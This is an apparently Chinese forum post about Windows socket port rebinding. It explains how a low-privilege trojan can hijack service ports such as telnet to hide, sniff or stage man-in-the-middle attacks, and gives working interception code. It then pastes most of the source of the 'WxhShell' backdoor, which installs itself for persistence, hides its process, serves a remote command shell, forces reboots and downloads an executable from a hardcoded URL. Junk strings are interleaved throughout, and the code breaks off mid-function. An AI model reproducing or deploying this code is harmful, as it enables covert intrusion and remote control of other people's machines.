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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E6JV}`hSk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;6zPiaDQ  
?AT(S  
  saddr.sin_family = AF_INET; A_]D~HH  
$BaK'7=3*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g X8**g'  
`_ 0)kdu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @%%bRY  
e+x*psQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oB3q AP  
{[N?+ZJD*L  
  这意味着什么?意味着可以进行如下的攻击: }eI`Qg  
CCn/ udp@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lf;~5/%wMG  
" C&x ,Ic  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IF^[^^v+H  
dGa@<hg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %/X2 l  
}oV3EIH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !b'IfDp[-!  
^}tL nF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wyNC|P;j$g  
h9U+ %=^O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H[Cj7{V  
q1P :^<[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =J`gGDhGY-  
s v6INe:  
  #include .dt#2a_5q  
  #include vD_u[j]  
  #include u9 %;{:]h  
  #include    i5Eeg`NMl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )'=V!H#U*  
  int main() _J` |<}?t;  
  { > Z]P]e  
  WORD wVersionRequested; SC]6F*  
  DWORD ret; 7 s7}?l9  
  WSADATA wsaData; \A ;^ UxG  
  BOOL val; C1n? ?Y[  
  SOCKADDR_IN saddr; iq,ah"L  
  SOCKADDR_IN scaddr; rAL1TU(vm  
  int err; *-{Omqw  
  SOCKET s; BU'Ki \  
  SOCKET sc; &bn*p.=G  
  int caddsize; QaIi.* tic  
  HANDLE mt; >Sh0dFqeT  
  DWORD tid;   ;r%<2(  
  wVersionRequested = MAKEWORD( 2, 2 ); FF8WTuzB+  
  err = WSAStartup( wVersionRequested, &wsaData ); "Jf4N  
  if ( err != 0 ) {  .fbYB,0w  
  printf("error!WSAStartup failed!\n"); d8D yv#gT  
  return -1; /(y4V  
  } JXlTN[O  
  saddr.sin_family = AF_INET; 8 H,_vf  
   %bEGv:88s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i_|h{JK)  
;B*L1'FF%t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =z+-l5Gu"  
  saddr.sin_port = htons(23); Y=hP Erw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CgN]dx* `  
  { b_q! >&c  
  printf("error!socket failed!\n"); tsB.oDMP  
  return -1; Q3(hK<Qh;  
  } d$4WK)U  
  val = TRUE; ]~$c~*0g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gv`%Z8u(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]aREQ?ma&z  
  { *X%?3"WH8  
  printf("error!setsockopt failed!\n"); L,f^mX0<  
  return -1; D`1I;Tb#  
  } XSD"/_xD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fp wlV}:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [SKP|`I>I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *oKgP8CF  
IvPA|8(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (MZ A  
  { 11PLH0  
  ret=GetLastError(); t)YFTO"Jj  
  printf("error!bind failed!\n"); PY[S z=[  
  return -1; hgF21Oj9  
  } \ x3^  
  listen(s,2); J11dqj  
  while(1) 5hlJbWJa  
  { kt;}]O2%R  
  caddsize = sizeof(scaddr); ?aP1  
  //接受连接请求 "K9vm^xP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ['Hp?Q|k  
  if(sc!=INVALID_SOCKET) Ej-=y2j{g  
  { u]ZqF *  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }w;Q^EU  
  if(mt==NULL) B)_!F`9  
  { b>G qNf!  
  printf("Thread Creat Failed!\n"); >^M!@=/?J  
  break; I|Vk.,  
  } N )b|  
  } :_W 0Af09  
  CloseHandle(mt); gvow\9{|C  
  } 8:;u v7p  
  closesocket(s); k#{lt-a/  
  WSACleanup(); 3(oZZz  
  return 0; I8E\'`:<  
  }   V#n?&-{V  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1^n5CI|7u  
  { iKP\/LR<n  
  SOCKET ss = (SOCKET)lpParam; q g) Af  
  SOCKET sc; 6$xo# }8  
  unsigned char buf[4096]; \c5#\1<  
  SOCKADDR_IN saddr; 'p4da2%  
  long num; p{\qSPK  
  DWORD val; ]w1BJZa36  
  DWORD ret; (ouRf;\6$8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wz*)L (pP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |H3?ox*  
  saddr.sin_family = AF_INET; w a-_O<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o3kt0NuF,  
  saddr.sin_port = htons(23); G_7ks]u-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  eLe,=  
  { 75QXkJu  
  printf("error!socket failed!\n"); [| c@Yw  
  return -1; j]cXLY  
  } t-?KKU8  
  val = 100; uIVTs9\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8`R +y  
  { D}k-2RM2k  
  ret = GetLastError(); '#pMEVP  
  return -1; r7]?g~zb  
  } mjkw&2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W(]E04  
  { Mp DdJ,  
  ret = GetLastError(); a:(: :m  
  return -1; "(HA9:  
  } |wyJh"4!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { ="Su{i}}  
  { Ppi-skT  
  printf("error!socket connect failed!\n"); 2l\D~ y  
  closesocket(sc); 7g4M/?H}K  
  closesocket(ss); khKv5K#)  
  return -1; O>tC]sm%  
  } gKm@B{rC  
  while(1) U_ N5~#9   
  { 7Y_fF1-wY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m=("N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YokZar2a0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H L}sqcp  
  num = recv(ss,buf,4096,0); qCxD{-9x{  
  if(num>0) % RBI\tj  
  send(sc,buf,num,0); 2f}K #i8   
  else if(num==0) )Yy#`t  
  break; ,_5YaX:<4  
  num = recv(sc,buf,4096,0); Jm*M7g j  
  if(num>0) {m*V/tX  
  send(ss,buf,num,0); rhzv^t  
  else if(num==0) _taHf %\4  
  break; O[5_ 9W 4  
  } d-#u/{jG)  
  closesocket(ss); y . ivz  
  closesocket(sc); &?5{z\;1"  
  return 0 ; uZ=UBir  
  } g~$GE},,  
U||w6:W5  
#sm_.?P  
========================================================== 6|"!sW`%N  
="'P=Xh!8  
下边附上一个代码,,WXhSHELL J6^Ct  
,:dEEL+>c  
========================================================== 9 z8<[>  
 i?i7T`  
#include "stdafx.h" ?( dYW7S  
#$vhC u<I  
#include <stdio.h> ]L%R[Z!3  
#include <string.h> &[2Ej|o  
#include <windows.h> C&CsI] @g  
#include <winsock2.h> +{=_|3(  
#include <winsvc.h> \+evZ{Pu  
#include <urlmon.h> 3A}nNHpN  
j~,LoGuPh  
#pragma comment (lib, "Ws2_32.lib") zb~MF_&gE  
#pragma comment (lib, "urlmon.lib") bsk=9K2_2t  
mC[U)` ey  
#define MAX_USER   100 // 最大客户端连接数 9,EaN{GM  
#define BUF_SOCK   200 // sock buffer _w5~/PbWt  
#define KEY_BUFF   255 // 输入 buffer nTlv'_Y(  
&T|&D[@  
#define REBOOT     0   // 重启 u8k{N  
#define SHUTDOWN   1   // 关机 &Lt$a_y>  
XnI ;7J  
#define DEF_PORT   5000 // 监听端口 h,WY2Hr  
+GPT:\*q6  
#define REG_LEN     16   // 注册表键长度 ,;=( )-  
#define SVC_LEN     80   // NT服务名长度 ;MRC~F=  
;~gd<KK  
// 从dll定义API T m@1q!G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ch,Zk )y:_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c!u}KVH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |C)UZ4A/p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p,AD!~n`  
PqJ*   
// wxhshell配置信息 =[)N6XV3  
struct WSCFG { y!6:  
  int ws_port;         // 监听端口 #G , *j  
  char ws_passstr[REG_LEN]; // 口令 Pdm6u73  
  int ws_autoins;       // 安装标记, 1=yes 0=no >K|GLP  
  char ws_regname[REG_LEN]; // 注册表键名 j_a~)o-p  
  char ws_svcname[REG_LEN]; // 服务名 6 XOu~+7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iZq@W3GL C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _l{ 5 'm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %}ApO{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EAd:`X,Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =Z>V}`n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -ynLuq#1A  
L5k>;|SA  
}; (8-lDoW  
0-~6} r$  
// default Wxhshell configuration o? O,nD 6  
struct WSCFG wscfg={DEF_PORT, ^B!?;\4IM  
    "xuhuanlingzhe", ;Y|~!%2~  
    1, 5fx,rtY2sQ  
    "Wxhshell", n\"LN3  
    "Wxhshell", 6[2?m*BsN  
            "WxhShell Service", {|J2clL  
    "Wrsky Windows CmdShell Service", } Ved  
    "Please Input Your Password: ", o(>-:l i0  
  1, JTh =JHJ  
  "http://www.wrsky.com/wxhshell.exe", z vylL M  
  "Wxhshell.exe" -^jLU FC  
    }; 1DlcO>#@  
?6YUb;  
// 消息定义模块 'iISbOM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6j"I5,-~!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C.B}Py+   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WKIiJ{@L  
char *msg_ws_ext="\n\rExit."; .SV3<)  
char *msg_ws_end="\n\rQuit."; 6L> "m0  
char *msg_ws_boot="\n\rReboot..."; 7@cvy? v{  
char *msg_ws_poff="\n\rShutdown..."; \y )4`A  
char *msg_ws_down="\n\rSave to "; !4,xQ ^   
)(!Z90@  
char *msg_ws_err="\n\rErr!"; ;1g-z]  
char *msg_ws_ok="\n\rOK!"; +j: Ld(  
=U7D}n hS-  
char ExeFile[MAX_PATH]; 9H%xZ(`vN  
int nUser = 0; Y$$?8xr ~  
HANDLE handles[MAX_USER]; 2l(j 4~g  
int OsIsNt; AW&s-b%P  
p,u<g JUL  
SERVICE_STATUS       serviceStatus; KIBZQ.uG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c)!s[oL  
S1= JdN  
// 函数声明 fQ.>G+0 I>  
int Install(void); zcWxyLifl0  
int Uninstall(void); RGA*7  
int DownloadFile(char *sURL, SOCKET wsh); 5m7Ax] \  
int Boot(int flag); xOyL2   
void HideProc(void); P5xmLefng  
int GetOsVer(void); wYMX1=  
int Wxhshell(SOCKET wsl); XhD fI &  
void TalkWithClient(void *cs); *n_4Rr  
int CmdShell(SOCKET sock); W>wi;Gf#  
int StartFromService(void); 2-c0/?_4  
int StartWxhshell(LPSTR lpCmdLine); d~Ry>   
^t ldm7{_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bpo68%dx89  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S=amjcC  
|j}F$*SE[  
// 数据结构和表定义 J$/BH\  
SERVICE_TABLE_ENTRY DispatchTable[] = h5JwB<8  
{ r4ttEJ-jG  
{wscfg.ws_svcname, NTServiceMain}, ~rX6owBq  
{NULL, NULL} Ry S{@=si  
}; @d^h/w  
gI5nWEM0{  
// 自我安装 "3oU (RA  
int Install(void) MV d 3*  
{ :@Dos'0Px  
  char svExeFile[MAX_PATH]; 'I>#0VRr  
  HKEY key; :Sn3|`HDm  
  strcpy(svExeFile,ExeFile); FY S83uq0  
[=F |^KL  
// 如果是win9x系统,修改注册表设为自启动 Jo$Dxa z  
if(!OsIsNt) { 6SO7iFS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6%INNIyAWa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +* {5ORq=  
  RegCloseKey(key); +mOtYf W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F-,{+B66  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @CI6$  
  RegCloseKey(key); GiwA$^Hg\  
  return 0; _1c_TMh}9  
    } *`.{K12T  
  } 5g>kr< K  
} . \0=1P:  
else { *9(1:N;#  
l{o{=]x1  
// 如果是NT以上系统,安装为系统服务 ykhCt\t[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %ys}Q!gR  
if (schSCManager!=0) @5G7bY7Nz  
{ ld?.o/  
  SC_HANDLE schService = CreateService -fgKSJ7  
  ( }z-  
  schSCManager, &*GX:0=/>  
  wscfg.ws_svcname, 5w{pX1z1  
  wscfg.ws_svcdisp, S)|b%mVwR  
  SERVICE_ALL_ACCESS, =T4 w:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u`@FA?+E1  
  SERVICE_AUTO_START, R0<Vd"  
  SERVICE_ERROR_NORMAL, N`6|Y  
  svExeFile, Q b{5*>  
  NULL, 9,eR=M]+:  
  NULL, O9)}:++T  
  NULL, FN EmGz/4  
  NULL, ymX,k|lh  
  NULL wR$8drn]Rq  
  ); Ka\b_P&  
  if (schService!=0) v nC&1  
  { QXj(U&#rp  
  CloseServiceHandle(schService); aW$nNUVD  
  CloseServiceHandle(schSCManager); Z x%@wH~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fr2w k}/b  
  strcat(svExeFile,wscfg.ws_svcname); RcP5].^T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iZ\z!tHR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -JK4-Hg  
  RegCloseKey(key); ?+=|{{l  
  return 0; yvisoZX  
    } j1+Y=@MA  
  } yLOLv6g~e  
  CloseServiceHandle(schSCManager); + aqo8'a  
} " <a|Q,!  
} Yb{t!KL  
&ru0i@?)  
return 1; !T . @  
} vGT.(:\-,  
kk+8NwM1  
// 自我卸载 C~V$G}mM  
int Uninstall(void) m kf{_!TK  
{ PzDgl6C  
  HKEY key; c (8J  
J3+8s [oJ>  
if(!OsIsNt) { 0M+tKFb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~"Ki2'j)^]  
  RegDeleteValue(key,wscfg.ws_regname); uwA3!5  
  RegCloseKey(key); TN`:T.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yo?Q%w'Nh  
  RegDeleteValue(key,wscfg.ws_regname); Ps\^OJR  
  RegCloseKey(key); t&]Mt 7  
  return 0; f"^tOgGH  
  } 6J+ZeBk??  
} 9(j!#`O7&  
} 6E]rxps}"  
else { zAUfd[g  
c%.& F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nB0 ol-<  
if (schSCManager!=0) ?='9YM  
{ G3?z.5 ,Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V1A3l{>L  
  if (schService!=0) -#x\E%v.F  
  { .y+U7 "?s*  
  if(DeleteService(schService)!=0) { ),,vu  
  CloseServiceHandle(schService); )aSkUytg"  
  CloseServiceHandle(schSCManager); epyfgg MT  
  return 0;  c @fc7  
  } j]&{ @Y  
  CloseServiceHandle(schService); G].KJ5,y  
  } vrbh+  
  CloseServiceHandle(schSCManager); e*H$c?7NL  
} Din)5CxFX  
} _AYF'o-Cm  
'DQyB`V2y  
return 1; pASVnXJZ  
} n\Ixv  
"QS7?=>*F  
// 从指定url下载文件 ||aU>Wj4  
int DownloadFile(char *sURL, SOCKET wsh) `0:@`)&g1  
{ 9lV'3UG-?  
  HRESULT hr; 4PQWdPv;  
char seps[]= "/"; 7!%"8Rl-  
char *token; f lB2gr^  
char *file; .SN]hLV5  
char myURL[MAX_PATH]; !&[4T#c  
char myFILE[MAX_PATH]; X2v'9 x  
z?,5v`,t2  
strcpy(myURL,sURL); <b I,y_<K  
  token=strtok(myURL,seps); ? Q}{&J  
  while(token!=NULL) =w-H )  
  { EA.U>5Fq  
    file=token; &=bI3-  
  token=strtok(NULL,seps); 2-84  
  } mX^RSg9E}  
KK</5Aw9p  
GetCurrentDirectory(MAX_PATH,myFILE); MzD0F#Y  
strcat(myFILE, "\\"); $ 1U%E  
strcat(myFILE, file); @4$E.q<0  
  send(wsh,myFILE,strlen(myFILE),0); +$5^+C\6A  
send(wsh,"...",3,0); ^ZG1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NY x4& *le  
  if(hr==S_OK) t/|^Nt@XT  
return 0; Di*>PE@  
else 6-"&jbvm  
return 1; :xCobMs_/  
YP l{5 =  
} :cTi$n  
qv\yQ&pj  
// 系统电源模块 v*3:8Y,  
int Boot(int flag) y1X.Mvc  
{ ~_%[j8o&l  
  HANDLE hToken; pG&.Ye]j  
  TOKEN_PRIVILEGES tkp; M .,|cx  
2uIAnbW]M  
  if(OsIsNt) { FhGbQJ?[3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q*: Ow]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 14RL++  
    tkp.PrivilegeCount = 1; pjFgIG2=9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B|v fkX2f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n :P}K?lg  
if(flag==REBOOT) { ?3#X5WT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) srL,9)O C  
  return 0; xh0!H| R  
} uypD`%pC  
else { LKa_ofY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P6Ei!t,>  
  return 0; x% 1Rp[  
} M3%< kk-_  
  } 'mF}+v^   
  else { =#fqFL,  
if(flag==REBOOT) { kel48B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U*cj'`eqC  
  return 0; 1a<~Rmcil  
} 2 O%UT?R  
else { 6k2~j j1d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y2Bu,/9^  
  return 0; w]_a0{Uh  
} JS9q'd  
} 8CCA/6  
O);V{1P  
return 1; e 6*=Si}V  
} *3|KbCX  
NQmDm!-4  
// win9x进程隐藏模块 zx27aZ[  
void HideProc(void) _),@^^&x  
{ 5zU$_M  
=B 9U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xQQ6D  
  if ( hKernel != NULL ) 6o!"$IH4  
  { ^IpS 3y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mYCGGwD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WVZ\4y  
    FreeLibrary(hKernel); n):VuOjm  
  } Ap/WgVw;  
D+OkD-8q  
return; gIeo7>u  
} ]l`DR4 =  
2bqwnRT}  
// 获取操作系统版本 VrpY BU  
int GetOsVer(void) {PZe!EQ  
{ 3iB8QO;pp  
  OSVERSIONINFO winfo; Nbr{)h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <T['J]k%  
  GetVersionEx(&winfo); Ks4TBi&J   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nN[,$`JD,  
  return 1; [yz;OoA:;  
  else m9/a!|fBE  
  return 0; Mvux=Ws  
} H_9~gi  
tZJKB1#WbP  
// 客户端句柄模块 1*Z}M%  
int Wxhshell(SOCKET wsl) .$Y[>9  
{ ^-DK<jZ^  
  SOCKET wsh; 46b.= }  
  struct sockaddr_in client; \>+gZc]an  
  DWORD myID; =Oy,SX  
rS=6d6@  
  while(nUser<MAX_USER) B$)KZR(u  
{ `+U-oqs  
  int nSize=sizeof(client); t;'__">:q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _v-sb(* J  
  if(wsh==INVALID_SOCKET) return 1; jsuQ R  
r_)*/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }G]]0Oi2  
if(handles[nUser]==0) # aC}\  
  closesocket(wsh); yY}`G-)g~*  
else 1UOFTI2S|  
  nUser++; Gb"PMai  
  } kY|<1Ht  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {2!.3<#  
(q)W<GYP  
  return 0; cB|](gWS~  
} 9vXrC_W9  
<3i!{"}  
// 关闭 socket Ox58L>:0m  
void CloseIt(SOCKET wsh) EM"YjC)F  
{ @rE>D  
closesocket(wsh); %#= 1?1s  
nUser--; 6b@:La  
ExitThread(0); !y6 D+<k*]  
} Rt+s\MC^r  
<=WQs2  
// 客户端请求句柄 )AnX[:y  
void TalkWithClient(void *cs) F*QGzbv)  
{ zH.7!jeE  
0 j6/H?OT  
  SOCKET wsh=(SOCKET)cs; ^X^4R1V)  
  char pwd[SVC_LEN]; X[R/j*K  
  char cmd[KEY_BUFF]; m/<7FU8  
char chr[1]; Uc.K6%iI  
int i,j; lOql(ZH`w  
Y}PI{PN  
  while (nUser < MAX_USER) { %|UCs8EFm  
(R{W Jjj  
if(wscfg.ws_passstr) { )nQ.6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cO' \s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fxjs"rD5  
  //ZeroMemory(pwd,KEY_BUFF); %{axoGd  
      i=0; WUKYwA/t  
  while(i<SVC_LEN) { A%pcPzG;  
{@k5e) Q  
  // 设置超时 K"eW.$  
  fd_set FdRead; QD<f) JZK  
  struct timeval TimeOut; :hZYh.y\l  
  FD_ZERO(&FdRead); op;OPf,  
  FD_SET(wsh,&FdRead); Po% V%~  
  TimeOut.tv_sec=8; M*|x,K=U  
  TimeOut.tv_usec=0;  t;{/Q&C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9|fg\C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .^ soX}  
=}F &jl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sT|8a  
  pwd=chr[0]; K%.\@l2Cp  
  if(chr[0]==0xd || chr[0]==0xa) { ]JbGP{UiN  
  pwd=0; 9%pq+?u9  
  break; tQF,E&Jo8  
  } }PD? x4  
  i++; h>9GfF3  
    } }5\F<b^@Y  
.cjSgK1  
  // 如果是非法用户,关闭 socket z.--"cF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ovh[qm?Z  
} \IIR2Xf,K  
fQM:NI? 9?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '`I&g8I\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x8w455  
CM_FF:<tn  
while(1) { ;mu^WIj  
wUv Zc  
  ZeroMemory(cmd,KEY_BUFF); o/ ozX4C  
,!Gw40t  
      // 自动支持客户端 telnet标准   abp]qvCV  
  j=0; CtfI&rb[  
  while(j<KEY_BUFF) { #3leMZ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+x,Awq  
  cmd[j]=chr[0]; o[X 'We;  
  if(chr[0]==0xa || chr[0]==0xd) { !ffdeWHR  
  cmd[j]=0; {%*,KB>b  
  break; ?Mtd3F^o?  
  } OW;]= k/(  
  j++; u,I_p[`E  
    } nDhr;/"i  
NJRk##Z  
  // 下载文件 _SY4Q s`d  
  if(strstr(cmd,"http://")) { 1:(qoA:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k?ZtRhPu3X  
  if(DownloadFile(cmd,wsh)) @lRTp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ePG-=5I  
  else %We~k'2f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ci a'h_w  
  } nkUSd}a`r  
  else { EBc_RpC/Z  
V4PI~"4q#1  
    switch(cmd[0]) { hCS|(8g  
  g1UP/hNJ\8  
  // 帮助 e0Zwhz,  
  case '?': { ihS;q6ln  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wylbs@  
    break; qj/ pd 7\  
  } ?RNm8,M  
  // 安装 ge %ytrst  
  case 'i': { /}t>o* x  
    if(Install()) p~Di\AQ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j51Wod<[  
    else >+ZBQ]~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }8`W%_Yk  
    break; [uqe|< :  
    } Q8OA{EUtq  
  // 卸载 >$Sc}a3  
  case 'r': { :sDE 'o  
    if(Uninstall()) 9$U@h7|Q`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jr+~'  
    else Er509zZ,[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D+.< kY.  
    break; /P { Zo  
    } 2O;Lw@W  
  // 显示 wxhshell 所在路径 Xf o3fW)s  
  case 'p': { uyZ  
    char svExeFile[MAX_PATH]; P@lDhzd  
    strcpy(svExeFile,"\n\r"); u_ou,RF  
      strcat(svExeFile,ExeFile); S{wR Z|8U  
        send(wsh,svExeFile,strlen(svExeFile),0); #SyF-QZ[1  
    break; S5'ZKk  
    } ^C$Oht,cU  
  // 重启 }81eef4$S  
  case 'b': { wiHGTaR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >v--R8I*  
    if(Boot(REBOOT)) $v5)d J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/jLN  
    else { nIc:<w]  
    closesocket(wsh); X)6}<A  
    ExitThread(0); '9d<vW g  
    } [Ume^  
    break; tjLp;%6e  
    } \A "_|Yg  
  // 关机 D#"BY; J  
  case 'd': { ]$Ud`<Xnx  
